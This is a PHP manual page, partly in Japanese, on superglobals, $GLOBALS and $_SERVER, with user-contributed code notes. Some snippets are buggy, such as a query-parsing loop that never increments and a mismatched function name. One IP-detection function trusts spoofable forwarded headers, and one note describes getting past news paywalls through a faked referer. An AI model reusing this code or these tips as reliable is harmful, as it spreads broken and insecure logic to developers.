<?php
if ($_SERVER['SERVER_PORT']!=443) {
$sslport=443; //whatever your ssl port is
$url = "https://". $_SERVER['SERVER_NAME'] . ":" . $sslport . $_SERVER['REQUEST_URI'];
header("Location: $url");
}
?>

Of course, this should be done before any html tag or php echo/print.
Joe Marty 24-Jan-2007 11:53
I think it is very important to note that PHP will automatically replace dots ('.') AND spaces (' ') with underscores ('_') in any incoming POST or GET (or REQUEST) variables.

This page notes the dot replacement, but not the space replacement:
http://us2.php.net/manual/en/language.variables.external.php

The reason is that '.' and ' ' are not valid characters to use in a variable name.  This is confusing to many people, because most people use the format $_POST['name'] to access these values.  In this case, the name is not used as a variable name but as an array index, in which those characters are valid.

However, if the register_globals directive is set, these names must be used as variable names.  As of now, PHP converts the names for these variables before inserting them into the external variable arrays, unfortunately - rather than leaving them as they are for the arrays and changing the names only for the variables set by register_globals.

If you want to use:
<input name="title for page3.php" type="text">

The value you will get in your POST array, for isntance would be:
$_POST['title_for_page3_php']
jameslporter at gmail dot com 05-May-2006 12:19
Refer to CanonicalName if you are not getting the ServerName in the $_SERVER[SERVER_NAME] variable....This was a pain to figure out for me...now it works as expected by turning canonical naming on.

http://www.apacheref.com/ref/http_core/UseCanonicalName.html
Ben XO 14-Apr-2006 06:18
So you have an application in your web space, with a URL such as this:

http://<host>/<installation_path>/

and pages such as

http://<host>/<installation_path>/subfolder1/subfolder2/page.php

You have a file called config.php in <installation_path> which is include()d by all pages (in subfolders or not).

How to work out <installation_path> without hard-coding it into a config file?

<?php

// this is config.php, and it is in <installation_path>
// it is included by <installation_path>/page.php
// it is included by <installation_path>/subfolder/page2.php
// etc

$_REAL_SCRIPT_DIR = realpath(dirname($_SERVER['SCRIPT_FILENAME'])); // filesystem path of this page's directory (page.php)
$_REAL_BASE_DIR = realpath(dirname(__FILE__)); // filesystem path of this file's directory (config.php)
$_MY_PATH_PART = substr( $_REAL_SCRIPT_DIR, strlen($_REAL_BASE_DIR)); // just the subfolder part between <installation_path> and the page

$INSTALLATION_PATH = $_MY_PATH_PART
    ? substr( dirname($_SERVER['SCRIPT_NAME']), 0, -strlen($_MY_PATH_PART) )
    : dirname($_SERVER['SCRIPT_NAME'])
; // we subtract the subfolder part from the end of <installation_path>, leaving us with just <installation_path> :)

?>
todd dot kisov at yahoo dot com 03-Apr-2006 02:11
To convert query string parameter values ($_GET, $_REQUEST), which include escaped Unicode values resulting from applying the JavaScript "escape" function to a Unicode string (%uNNNN%uNNNN%uNNNN) fast and simple is to use PECL JSON extension:

function JavaScript_Unicode_URL_2_Str($js_uni_str) {
        $res = preg_replace('/%u([[:alnum:]]{4})/', '\\u\1', $js_uni_str);
        $res = str_replace('"', '\"', $res); // if in str "
        $res = json_decode('["'.$res.'"]'); // JavaScrip array with string element
        $res = $res[0];
        $res = iconv('UTF-8', ini_get('default_charset'), $res);
        return $res;
    }
31-Mar-2006 09:56
I was unable to convince my hosting company to change their installation of PHP and therefore had to find my own way to computer $_SERVER["DOCUMENT_ROOT"].  I eventually settled on the following, which is a combination of earlier notes (with some typos corrected):

<?php
if ( ! isset($_SERVER['DOCUMENT_ROOT'] ) )
  $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr(
    $_SERVER['SCRIPT_FILENAME'], 0, 0-strlen($_SERVER['PHP_SELF']) ) );
?>
Aardvark 07-Mar-2006 01:35
$_GET may not handle query string parameter values which include escaped Unicode values resulting from applying the JavaScript "escape" function to a Unicode string.
To handle this the query parameter value can be obtained  using a function such as:

function getQueryParameter ($strParam) {
  $aParamList = explode('&', $_SERVER['QUERY_STRING']);
  $i = 0;
  while ($i < count($aParamList)) {
    $aParam = split('=', $aParamList[$i]);
    if ($strParam == $aParam[0]) {
      return $aParam[1];
    }
  }
  return "";
}

or by directly building an array or query string values and then processing the parameter string using a function such as the "unescape" function which can be found at http://www.kanolife.com/escape/2006/03/unicode-url-escapes-in-php.html (or http://www.kanolife.com/escape/ for related info).
justin dot (nospam)george at gmail dot com 28-Feb-2006 12:00
Note that it's a very, very bad idea to append to global variables in a loop, unless you really, really mean to do so in a global context. I just a while ago hung my server with a snippet of code like this:

<?php
$host  = $_SERVER['HTTP_HOST'];
$uri  = rtrim($_SERVER['PHP_SELF'], "/\\");

$GLOBALS['SITE_ROOT'] = "http://$host$uri";

while ($i < somenumber)
readfile($GLOBALS['SITE_ROOT'] = $GLOBALS['SITE_ROOT'] . '/this/file.php');
$i++
}
?>

While it is an entertaining and unusual method of creating very long URLs and breaking servers, it's a pretty awesomely bad idea

(Especially considering that the script in question ran concurrently with others of it's type, so the value in $GLOBALS['SITE_ROOT'] was unknown.)
nathan 22-Feb-2006 08:05
Also on using IPs to look up country & city, note that what you get might not be entirely accurate.  If their ISP is based in a different city or province/state, the IPs may be owned by the head office, and used across several areas.
You also have rarer situations where they might be SSHed into another server, on the road, at work, at a friend's...  It's a nice idea, but as the example code shows, it should only be used to set defaults.
drew dot griffiths at clare dot net 30-Sep-2005 08:51
Re: You can take advantage of 404 error to an usable redirection using REQUEST_URI ...

Whilst this is effective, a line in the .htaccess such as:

RewriteEngine On
RewriteRule ^profiles/([A-Za-z0-9-]+) showprofile.php?profile=$1 [L,NC,QSA]

will throw the requested profile in a variable $profile to the showprofile.php page.

You can further enhance the url (e.g http://servername/profiles/Jerry/homeaddress/index.htm) and the second variable value homeaddress becomes available in $url_array[3] when used below $url_array=explode("/",$_SERVER['REQUEST_URI']);

Hope this helps - Works well for me

Drew
Gregory Boshoff 31-Jul-2005 02:41
$_SERVER['QUERY_STRING']

Does not contain XHTML 1.1 compliant ampersands i.e. &amp;

So you will need to do something like this if you are to use $_SERVER['QUERY_STRING'] in URL's.

//  XHTML 1.1 compliant ampersands
$_SERVER['QUERY_STRING'] =
str_replace(array('&amp;', '&'), array('&', '&amp;'),
$_SERVER['QUERY_STRING']);
New York PHP 24-Jul-2005 06:59
Warning: $_SERVER['PHP_SELF'] can include arbitrary user input. The documentation should be updated to reflect this.

The request "http://example.com/info.php/attack%20here" will run /info.php, but in Apache $_SERVER['PHP_SELF'] will equal "/info.php/attack here". This is a feature, but it means that PHP_SELF must be treated as user input.

The attack string could contain urlencoded HTML and JavaScript (cross-site scripting) or it could contain urlencoded linebreaks (HTTP response-splitting).

The use of $_SERVER['SCRIPT_NAME'] is recommended instead.
daniel at softel dot jp 15-Jul-2005 11:43
Note that $php_errormsg may contain a newline character. This can be problematic if you are trying to output it with a JavaScript "alert()" for example.
mfyahya at gmail dot com 07-Jun-2005 06:33
If you use Apache's redirection features for custom error pages or whatever, the following Apache's REDIRECT variables are also available in $_SERVER:
$_SERVER['REDIRECT_UNIQUE_ID]'
$_SERVER['REDIRECT_SCRIPT_URL]'
$_SERVER['REDIRECT_SCRIPT_URI]'
$_SERVER['REDIRECT_SITE_ROOT]'
$_SERVER['REDIRECT_SITE_HTMLROOT]'
$_SERVER['REDIRECT_SITE_CGIROOT]'
$_SERVER['REDIRECT_STATUS]'
$_SERVER['REDIRECT_QUERY_STRING]'
$_SERVER['REDIRECT_URL]'

I'm not sure if this is a complete list though
Gregory Boshoff 13-Feb-2005 04:19
The Environment variable $ENV is useful for coding portable platform specific application constants.

// Define a Windows or else Linux root directory path
$_ENV['OS'] == 'Windows_NT' ? $path = 'L:\\www\\' : $path = ' /var/www/';

define('PATH', $path);

echo PATH;
marcus at lastcraft dot com 23-Jan-2005 04:02
The variable $php_errormsg is not populated if you have XDebug running.
mrnopersonality at yahoo dot com 19-Oct-2004 08:13
Nothing about the message-body ...

You can get cookies, session variables, headers, the request-uri , the request method, etc but not the message body. You may want it sometimes when your page is to be requested with the POST method.

Maybe they should have mentioned $HTTP_RAW_POST_DATA or php://stdin
youdontmeanmuch [at] yahoo.com 05-Apr-2004 09:20
Be carful when using $_SERVER['DOCUMENT_ROOT']; in your applications where you want to distribute them to other people with different server types. It isnt always supported by the webserver (IIS).
josh,endquote,com 03-Dec-2003 03:54
Running PHP 4.3 under IIS 5 on Windows XP, there is no $_SERVER['REQUEST_URI'] variable. This seems to fix it:

if(!isset($_SERVER['REQUEST_URI'])) {
    $_SERVER['REQUEST_URI'] = substr($_SERVER['argv'][0], strpos($_SERVER['argv'][0], ';') + 1);
}


すべてのスコープで使用できる組み込みの変数

  • ≪ 定義済の変数
  • $GLOBALS ≫
  • PHP Manual
  • 定義済の変数
  • すべてのスコープで使用できる組み込みの変数

スーパーグローバル

スーパーグローバル — すべてのスコープで使用できる組み込みの変数

説明

PHP の定義済み変数の中には "スーパーグローバル" というものがあります。 これは、スクリプト全体を通してすべてのスコープで使用可能な変数のことです。 関数やメソッドの内部からアクセスする際にも global $variable; などとする必要はありません。

スーパーグローバルには次のようなものがあります。

  • $GLOBALS
  • $_SERVER
  • $_GET
  • $_POST
  • $_FILES
  • $_COOKIE
  • $_SESSION
  • $_REQUEST
  • $_ENV

注意

注意: 使用できる変数

デフォルトでは、すべてのスーパーグローバルが使用可能です。 ただし、それに影響を与える設定項目もあります。詳細は variables_order のドキュメントを参照ください。

注意: 可変変数

スーパーグローバルは、関数やクラスメソッドの中の 可変変数 として使用することはできません。

参考

  • 変数のスコープ
  • variables_order ディレクティブ
  • filter 拡張モジュール

User Contributed Notes

mife 05-Sep-2019 05:40
// You do need global in this special situation

function get_var($varname){
  global $$varname;
  echo $$varname;
}

show_var('_POST');
php (a) timstamp.co.uk 14-Sep-2017 08:32
For those wondering if register_globals also makes global variables available inside functions - it doesn't.

Running this code on a PHP52 webserver with register_globals enabled, using url:
http://localhost?hello=campers

<?php
function abc() {
    echo "in func: '$hello' \n"; // outputs "in func: '' "
}
echo "global: '$hello' \n"; // outputs "global: 'campers' "
abc();
kitchin 14-May-2013 06:09
Since PHP 5.4, you cannot use a superglobal as the parameter to a function. This causes a fatal error:

function foo($_GET) {
  // whatever
}

It's called "shadowing" a superglobal, and I don't know why people ever did it, but I've seen it out there. The easy fix is just to rename the variable $get in the function, assuming that name is unique.

There was no deprecation warning issued in previous versions of PHP, according to my testing, neither in 5.3 nor 5.2. The error messages in 5.4 are:
Fatal error: Cannot re-assign auto-global variable _GET in...
Fatal error: Cannot re-assign auto-global variable _COOKIE in...
etc.


グローバルスコープで使用可能なすべての変数への参照

  • ≪ スーパーグローバル
  • $_SERVER ≫
  • PHP Manual
  • 定義済の変数
  • グローバルスコープで使用可能なすべての変数への参照

$GLOBALS

(PHP 4, PHP 5, PHP 7, PHP 8)

$GLOBALS — グローバルスコープで使用可能なすべての変数への参照

説明

スクリプトのグローバルスコープに現在定義されているすべての変数への参照を含む連想配列です。 変数名が配列のキーとなります。

例

例1 $GLOBALS の例

<?php
function test() {
    $foo = "local variable";

    echo '$foo in global scope: ' . $GLOBALS["foo"] . "\n";
    echo '$foo in current scope: ' . $foo . "\n";
}

$foo = "Example content";
test();
?>

上の例の出力は、 たとえば以下のようになります。

$foo in global scope: Example content
$foo in current scope: local variable

注意

注意:

これは 'スーパーグローバル' あるいは自動グローバル変数と呼ばれるものです。 スクリプト全体を通してすべてのスコープで使用することができます。 関数やメソッドの内部で使用する場合にも global $variable; とする必要はありません。

注意: 変数の可用性

他のスーパーグローバル とは異なり、$GLOBALS は PHP で常に使用可能です。

User Contributed Notes

vittorio.zamparella at famous googlemail 20-Oct-2016 11:31
I finally found information about superglobals not being found in $GLOBALS:

https://bugs.php.net/bug.php?id=65223&edit=2
-------------------------------------
 [2013-07-09 12:00 UTC] johannes @php.net
[...]super-globals (aka. auto globals) are not added to symbol tables by default for performance reasons unless the parser sees need. i.e.

<?php
$_SERVER;
print_r($GLOBALS);
?>

will list it. You can also control this using auto_gloals_jit in php.ini: http://www.php.net/manual/en/ini.core.php#ini.auto-globals-jit
-------------------------------------

http://www.php.net/manual/en/language.variables.variable.php
-------------------------------------
Warning
Please note that variable variables cannot be used with PHP's Superglobal arrays within functions or class methods. The variable $this is also a special variable that cannot be referenced dynamically.
-------------------------------------
stevenjeffries at gmail dot com 19-Nov-2015 09:55
I ran into the case where I needed to know if my script was in the global scope or not.

You can use $GLOBALS to figure out which case that is:

<?php // file foo.php

$some_unique_prefix_foo = "ok";
if (isset($GLOBALS["some_unique_prefix_foo"])) {
    echo "Foo is in global scope.\n";
} else {
    echo "Foo is NOT in global scope.\n";
}
unset($some_unique_prefix_foo);

// Inside another file.
function test() {
    include "foo.php";
}
test();

?>

Outputs:

Foo is in global scope.
Foo is NOT in global scope.
mstraczkowski at gmail dot com 11-Jun-2013 05:58
Watch out when you are trying to set $GLOBALS to the local variable.

Even without reference operator "&" your variable seems to be referenced to the $GLOBALS

You can test this behaviour using below code

<?php
/**
 * Result:
 * POST: B, Variable: C
 * GLOBALS: C, Variable: C
 */

// Testing $_POST
$_POST['A'] = 'B';

$nonReferencedPostVar = $_POST;
$nonReferencedPostVar['A'] = 'C';

echo 'POST: '.$_POST['A'].', Variable: '.$nonReferencedPostVar['A']."\n\n";

// Testing Globals
$GLOBALS['A'] = 'B';

$nonReferencedGlobalsVar = $GLOBALS;
$nonReferencedGlobalsVar['A'] = 'C';

echo 'GLOBALS: '.$GLOBALS['A'].', Variable: '.$nonReferencedGlobalsVar['A']."\n\n";
therandshow at gmail dot com 29-Jun-2011 06:32
As of PHP 5.4 $GLOBALS is now initialized just-in-time. This means there now is an advantage to not use the $GLOBALS variable as you can avoid the overhead of initializing it. How much of an advantage that is I'm not sure, but I've never liked $GLOBALS much anyways.


サーバー情報および実行時の環境情報

  • ≪ $GLOBALS
  • $_GET ≫
  • PHP Manual
  • 定義済の変数
  • サーバー情報および実行時の環境情報

$_SERVER

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_SERVER — サーバー情報および実行時の環境情報

説明

$_SERVER は、ヘッダ、パス、スクリプトの位置のような 情報を有する配列です。この配列のエントリは、Web サーバーにより 生成されます。全ての Web サーバーがこれら全てを提供する保障はありません。 サーバーは、これらのいくつかを省略したり、この一覧にない他のものを 定義する可能性があります。これらの変数の多くは、 » CGI/1.1 specification で定義されています。したがって、これらについては定義されていることを 期待することができます。

インデックス

以下の各要素のいくつかは $_SERVER に現れない可能性があります。PHP をコマンドラインで実行している場合には、 使用できるものは僅かであることに注意してください。

'PHP_SELF'
現在実行しているスクリプトのファイル名です。 ドキュメントルートから取得されます。 例えば、http://example.com/foo/bar.php というアドレス上にあるスクリプトでは $_SERVER['PHP_SELF'] は /foo/bar.php となります。 __FILE__ 定数 には、カレント(すなわち読み込まれた)ファイルのパスとファイル名が含まれます。 PHP がコマンドラインから実行される場合、 この変数にはスクリプト名が含まれます。
'argv'
スクリプトに渡された引数の配列です。スクリプトがコマンドラインから 実行された場合、C 言語スタイルでコマンドライン引数に アクセスすることができます。GET メソッドを通してコールされた場合には 検索引数が格納されます。
'argc'
スクリプトに渡されたコマンドライン引数の数 (コマンドラインから実行した場合) です。
'GATEWAY_INTERFACE'
サーバーが使用している CGI のバージョンです。 例 'CGI/1.1'
'SERVER_ADDR'
現在のスクリプトが実行されているサーバーの IP アドレスです。
'SERVER_NAME'
現在のスクリプトが実行されているサーバーのホスト名です。 スクリプトがバーチャルホスト上で実行されている場合は そのバーチャルホスト名となります。

注意: Apache 2 では、UseCanonicalName = On と ServerName を設定する必要があります。 そうしなければ、この値はクライアントが提供するホスト名を指すようになってしまい、無意味です。 また、セキュリティ的な意味合いでこの値に頼ってはいけません。

'SERVER_SOFTWARE'
レスポンスヘッダ上に書かれている、 サーバーの認識文字列です。
'SERVER_PROTOCOL'
ページがリクエストされた際のプロトコル名とバージョンです。 例.'HTTP/1.0'
'REQUEST_METHOD'
ページにアクセスする際に使用されたリクエストのメソッド名です。 'GET', 'HEAD', 'POST', 'PUT' など。

注意:

リクエストのメソッドが HEAD だった場合、 PHP スクリプトはヘッダを送信した後（言い換えれば、 出力バッファリングを行わずに全出力を処理した後）に終了します。

'REQUEST_TIME'
リクエストの開始時のタイムスタンプ。
'REQUEST_TIME_FLOAT'
リクエストの開始時のタイムスタンプ (マイクロ秒までの精度)。
'QUERY_STRING'
ページがアクセスされた際にもし検索引数があればそれが格納されます。
'DOCUMENT_ROOT'
現在実行されているスクリプトが存在するドキュメントルート ディレクトリです。サーバーのコンフィグレーションファイルで 定義されています。
'HTTP_ACCEPT'
現在のリクエストの Accept: ヘッダがもしあれば その内容。
'HTTP_ACCEPT_CHARSET'
現在のリクエストの Accept-Charset: ヘッダが もしあればその内容。例: 'iso-8859-1,*,utf-8'
'HTTP_ACCEPT_ENCODING'
現在のリクエストに Accept-Encoding: ヘッダが もしあればその内容。例: 'gzip'
'HTTP_ACCEPT_LANGUAGE'
現在のリクエストに Accept-Language: ヘッダが もしあればその内容。例: 'en'
'HTTP_CONNECTION'
現在のリクエストに Connection: ヘッダが もしあればその内容。例: 'Keep-Alive'
'HTTP_HOST'
現在のリクエストに Host: ヘッダが もしあればその内容。
'HTTP_REFERER'
現在のページに遷移する前にユーザーエージェントが参照していた ページのアドレス（もしあれば）。これはユーザーエージェントに よってセットされます。全てのユーザーエージェントが これをセットしているわけではなく、また、HTTP_REFERER を変更する機能を持つものもあります。 要するに、信頼するべきものではありません。
'HTTP_USER_AGENT'
現在のリクエストに User-Agent: ヘッダが もしあればその内容。ページにアクセスしてきているユーザーエージェント のしるしの文字列です。典型的な例は、 Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586)。たとえば、 get_browser() でこの値を使って ページの出力をそのブラウザにあわせたものにすることも できるでしょう。
'HTTPS'
スクリプトが HTTPS プロトコルを通じて実行されている場合に 空でない値が設定されます。
'REMOTE_ADDR'
現在ページをみているユーザーの IP アドレス。
'REMOTE_HOST'
現在のページにアクセスしているホスト名。DNS の逆引き検索は ユーザーの REMOTE_ADDR に基づいています。

注意: Web サーバーがこの値を生成できるように設定されている必要があります。 例えば Apache の場合 HostnameLookups On が httpd.conf に設定されていなければこの値は生成されません。 gethostbyaddr() もご覧ください。

'REMOTE_PORT'
ユーザーのマシンから Web サーバーへの通信に使用されているポート番号
'REMOTE_USER'
認証されたユーザー。
'REDIRECT_REMOTE_USER'
リクエストが内部でリダイレクトされた場合の認証されたユーザー。
'SCRIPT_FILENAME'

現在実行されているスクリプトの絶対パス

注意:

file.php あるいは ../file.php のような相対パスを指定して CLI でスクリプトが実行されている場合、 $_SERVER['SCRIPT_FILENAME'] には ユーザーが指定した相対パスが含まれます。

'SERVER_ADMIN'
Web サーバーの設定ファイルの SERVER_ADMIN (Apache の場合)ディレクティブ にセットされている値。スクリプトがバーチャルホスト上で 実行されている場合、バーチャルホストに対して値が定義されます。
'SERVER_PORT'
Web サーバーの通信ポートとして使用されているポート番号。デフォルトでは '80' ですが、例えば SSL を使用している場合は セキュア HTTP ポートとして設定されている値に変わります。

注意: Apache 2 では、UseCanonicalName = On だけでなく UseCanonicalPhysicalPort = On も設定しないと物理ポート (実際のポート) を取得できません。設定しなければ、 この値は詐称できる状態になり、 物理ポートを返さなくなるかもしれません。 セキュリティに依存するコンテキストで、この値に頼るのは安全ではありません。

'SERVER_SIGNATURE'
サーバー上で生成されたページに追加される、 サーバーのバージョン名とバーチャルホスト名の文字列。 Web サーバーの設定で有効になっていることが必要です。
'PATH_TRANSLATED'
バーチャルからリアルへのマッピングがなされた後の、 現在のスクリプトのファイルシステム上（ドキュメントルートではなく） でのパス。

注意: Apache 2 ユーザーは、PATH_INFO を定義するために httpd.conf の中で AcceptPathInfo = On を使用することが可能です。

'SCRIPT_NAME'
現在のスクリプトのパス。 スクリプト自身のページを指定するのに有用です。 __FILE__ 定数には、カレント(すなわち読み込まれた)ファイルのパスとファイル名が 含まれます。
'REQUEST_URI'
ページにアクセスするために指定された URI。例えば、 '/index.html'
'PHP_AUTH_DIGEST'
HTTP ダイジェスト認証を 行っている場合、クライアントから送られた 'Authorization' ヘッダの 内容が設定されます（適切な認証処理を行うために利用します）。
'PHP_AUTH_USER'
HTTP 認証しているときにそのユーザー名がセットされます。
'PHP_AUTH_PW'
HTTP 認証しているときにそのユーザーの パスワードがセットされます。
'AUTH_TYPE'
HTTP 認証しているときにその認証形式がセットされます。
'PATH_INFO'
実際のスクリプトファイル名とクエリ文字列の間にある、クライアントが提供するパス名情報。 たとえば、現在のスクリプトに http://www.example.com/php/path_info.php/some/stuff?foo=bar という URL でアクセスしていた場合の $_SERVER['PATH_INFO'] は /some/stuff となります。
'ORIG_PATH_INFO'
PHP で処理される前の 'PATH_INFO' の原本。

例

例1 $_SERVER の例

<?php
echo $_SERVER['SERVER_NAME'];
?>

上の例の出力は、 たとえば以下のようになります。

www.example.com

注意

注意:

これは 'スーパーグローバル' あるいは自動グローバル変数と呼ばれるものです。 スクリプト全体を通してすべてのスコープで使用することができます。 関数やメソッドの内部で使用する場合にも global $variable; とする必要はありません。

参考

  • filter 拡張モジュール

User Contributed Notes

info at webforever dot es 28-Jan-2021 08:04
<?php
//Print all values on screen.
foreach($_SERVER as $x => $v) echo "$x : $v <br>";
?>
DanielTahar 27-May-2020 01:36
To expand a bit on the price you could pay for relying on 'HTTP_REFERER': several large news sites I read often have paywalls, with cookies in place so you can only read X articles before you must subscribe; if using Incognito, they count the number of times you accessed via the same IP; everything to get you to subscribe. However, in order to be appealing, any visit where the 'HTTP_REFERER' is Google News will give you the entire article. I'm sure it's a dilemma their webmasters have, but for now any time someone sends you a story on one of them, all you have to do is search for the title and click the result from Google News. Bottom line: never count on it.

PS (1): ofcourse i'm talking about a friend. I pay for content.
PS (2): after some debate, the RFC decided to keep 'HTTP_REFERER', although it's misspelled.
Johan Winge 22-Mar-2020 07:17
It should probably be noted that the value of $_SERVER['SERVER_PROTOCOL'] will never contain the substring "HTTPS". Assuming this is a common source of bugs and confusion. Instead, see $_SERVER['HTTPS'].
vcoletti at tiscali dot it 14-Mar-2020 01:20
To list all the $_SERVER parameters, simply do:

foreach ($_SERVER as $parm => $value)  echo "$parm = '$value'\n";

No need to list all possible keys of the array.
lemonostif at gmail dot com 27-Jul-2019 08:28
PHP_SELF is a disgrace of a programmer's work. One of the most widespread PHP vulnerabilities since version 4 and the manual says nothing about the dangers. At least clarify that ITS VALUE CAN BE PROVIDED BY THE USER with capitals preferably if you want to make the internet a safer place...
Mark Simon 21-Jul-2019 05:42
So near, and yet so far ...

$_SERVER has nearly everything you need to know about the current web page environment. Something which would have been handy is easy access to the protocol and the actual web root.

For the protocol, you may or may not have $_SERVER['HTTPS'] and it may or may not be empty. For the web root, $_SERVER['DOCUMENT_ROOT'] depends on the server configuration, and doesn't work for virtual hosts.

For practical purposes, I normally include something like the following in my scripts:

<?php
    //    Web Root
    //    Usage: include("$root/includes/something.inc.php");
        $root = $_SERVER['WEB_ROOT'] = str_replace($_SERVER['SCRIPT_NAME'],'',$_SERVER['SCRIPT_FILENAME']);

    //    Host & Protocol
    //    Usage: $url = "$protocol://$host/images/something.jpg";
        $host = $_SERVER['HTTP_HOST'];
        $protocol=$_SERVER['PROTOCOL'] = isset($_SERVER['HTTPS']) && !empty($_SERVER['HTTPS']) ? 'https' : 'http';
?>
Skylar 18-Mar-2019 07:47
A snippet to list the header values:

<?php

echo <<<END
<!DOCTYPE html>
<meta charset="UTF-8" />
<title>\$_SERVER</title>
<style>
    table {
        border-collapse: collapse;
    }
    td {
        border: 1px solid #999;
        padding: 3px;
    }
</style>
<table>
END;

foreach ($_SERVER as $k => $v) {
    $key = htmlentities($k);
    $value = htmlentities($v);
    echo "\n\t<tr>\n\t\t<td>$key\n\t\t<td>$value\n";
}
echo "</table>";
?>
lilJoshu 01-Nov-2018 02:38
Remember,

Although $_SERVER["REQUEST_METHOD"] is initially built with GET, POST, PUT, HEAD in mind, a server can allow more.

This may be important if you're building a RESTful interfaces that will also use methods such as PATCH and DELETE.

Also important as a security risk as a possible point of injection. In the event of building something acting based on REQUEST_METHOD, it's recommended to put it in a switch statement.

<?php
switch ($_SERVER["REQUEST_METHOD"]){
   case "PUT":
       foo_replace_data();
       break;
   case "POST":
       foo_add_data();
       break;
   case "HEAD";
       foo_set_that_cookie();
       break;
   case "GET":
   default:
      foo_fetch_stuff()
      break;
}

?>
razvan_bc at yahoo dot com 06-Oct-2018 12:21
In 2018 things can be pretty cool !!!
look around:

<?php
//save it index.php in a root folder

/*
    if($_SERVER["REQUEST_METHOD"]!='GET'){
        echo('it`s a POST');
    }else{
        echo('it`s a GET');
    }
*/

$_REQ =& $_SERVER["REQUEST_METHOD"];
($_REQ=='POST')and($what='it`s a POST');
($_REQ=='GET')and($what='it`s a GET');
isset($what) and print($what);

?>
<form method="POST" action="">
<input type="text" name="postbaby" value="sadasdsa">
<input type="submit" value="POST THAT">
</form>
<br>
<form method="GET" action="">
<input type="text" name="getbaby" value="sadasdsa">
<input type="submit" value="GET THAT">
</form>
<hr><?php
phpinfo();
?>

what if you have a class with controllers?
i hope will not be depreciated cause STATIC CALLS I TEST ALREADY ARE VERY FAST:

<?php
//save it index.php in a root folder

/*
    if($_SERVER["REQUEST_METHOD"]!='GET'){
        echo('it`s a POST');
    }else{
        echo('it`s a GET');
    }
*/
class forms {
    public static function type(){
        return $_SERVER["REQUEST_METHOD"];
    }
    public static function post($f){
        (self::type()=='POST')and $f();
    }

    public static function get($f){
        (self::type()=='GET')and $f();
    }
}

?>
<form method="POST" action="">
<input type="text" name="postbaby" value="sadasdsa">
<input type="submit" value="POST THAT">
</form>
<br>
<form method="GET" action="">
<input type="text" name="getbaby" value="sadasdsa">
<input type="submit" value="GET THAT">
</form>
<hr><?php
forms::post(function(){
    $what='it`s a POST';echo($what);
});

forms::get(function(){
    $what='it`s a GET';echo($what);
});
//phpinfo();
?>
2962051004 at qq dot com 11-Mar-2018 11:46
<?php
/*
Sometimes you will find that your website will not get the correct user IP after adding CDN, then this function will help you
*/
function real_ip()
{
   $ip = $_SERVER['REMOTE_ADDR'];
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
        foreach ($matches[0] AS $xip) {
            if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
                $ip = $xip;
                break;
            }
        }
    } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) {
        $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
    } elseif (isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) {
        $ip = $_SERVER['HTTP_X_REAL_IP'];
    }
    return $ip;

}
echo real_ip();

?>
ywarnier at beeznest dot org 02-Aug-2017 08:35
Note that $_SERVER['REQUEST_URI'] might include the scheme and domain in certain cases.

This happens, for example, when calling the page through a call to stream_context_create() with a HTTP header of 'request_fulluri' set to 1.

For example:

$http = ['request_fulluri' => 1, /* other params here */];
$context = stream_context_create(array( 'http' => $http ));
$fp = fopen($some_url, 'rb', false, $context);

When outputting $_SERVER['REQUEST_URI'] on the server at $some_url, you will get
https://some_url/some_script.php

Remove the request_fulluri => 1 option, and $_SERVER['REQUEST_URI'] gets back to its "normal":
/some_script.php

Apparently, request_fulluri is useful when using some proxy servers.

In this case, there is no proper way to "detect" if this option was set or not, and you should probably use a combination of other $_SERVER[] elements (like REQUEST_SCHEME, SERVER_NAME and SERVER_PORT) to determine if this was the case.

One quick (and improvable) way to detect it would be to compare the start of the REQUEST_URI with REQUEST_SCHEME:

$scheme = $_SERVER['REQUEST_SCHEME'] . '://';
if (strcmp(substr($_SERVER['REQUEST_URI'], 0, strlen($scheme)), $scheme) === 0) {
    // request_fulluri was set
}
centurianii at yahoo dot co dot uk 28-May-2017 10:18
If you apply redirection in ALL your requests using commands at the Apache virtual host file like:
RewriteEngine On
RewriteCond "%{REQUEST_URI}" "!=/index.php"
RewriteRule "^/(.*)$" "index.php?$1" [NC,NE,L,QSA]
you should expect some deviations in your $_SERVER global.

Say, you send a url of: [hostname here]/a/b?x=1&y=2
which makes Apache to modify to: /index.php?/a/b?x=1&y=2

Now your $_SERVER global contains among others:
'REQUEST_URI' => '/a/b?x=1&y=2', it retains the initial url after the host
 'QUERY_STRING' => 'a/b&x=1&y=2', notice how php replaces '?' with '&'
 'SCRIPT_NAME' => '/index.php', as it was intended to be.

To test your $_SERVER global:
function serverArray(){
   $arr = array();
   foreach($_SERVER as $key=>$value)
      $arr[] = '&nbsp;&nbsp;&nbsp;\'' . $key . '\' => \'' . (isset($value)? $value : '-') . '\'';
   return @\sort($arr)? '$_SERVER = array(<br />' . implode($arr, ',<br />') . '<br />);' : false;
}
echo serverArray();
pierstoval at example dot com 22-Apr-2017 10:13
As PHP $_SERVER var is populated with a lot of vars, I think it's important to say that it's also populated with environment vars.

For example, with a PHP script, we can have this:

    MY_ENV_VAR=Hello php -r 'echo $_SERVER["MY_ENV_VAR"];'

Will show "Hello".

But, internally, PHP makes sure that "internal" keys in $_SERVER are not overriden, so you wouldn't be able to do something like this:

    REQUEST_TIME=Hello php -r 'var_dump($_SERVER["REQUEST_TIME"]);'

Will show something like 1492897785

However, a lot of vars are still vulnerable from environment injection.

I created a gist here ( https://gist.github.com/Pierstoval/f287d3e61252e791a943dd73874ab5ee ) with my PHP configuration on windows with PHP7.0.15 on WSL with bash, the results are that the only "safe" vars are the following:

PHP_SELF
SCRIPT_NAME
SCRIPT_FILENAME
PATH_TRANSLATED
DOCUMENT_ROOT
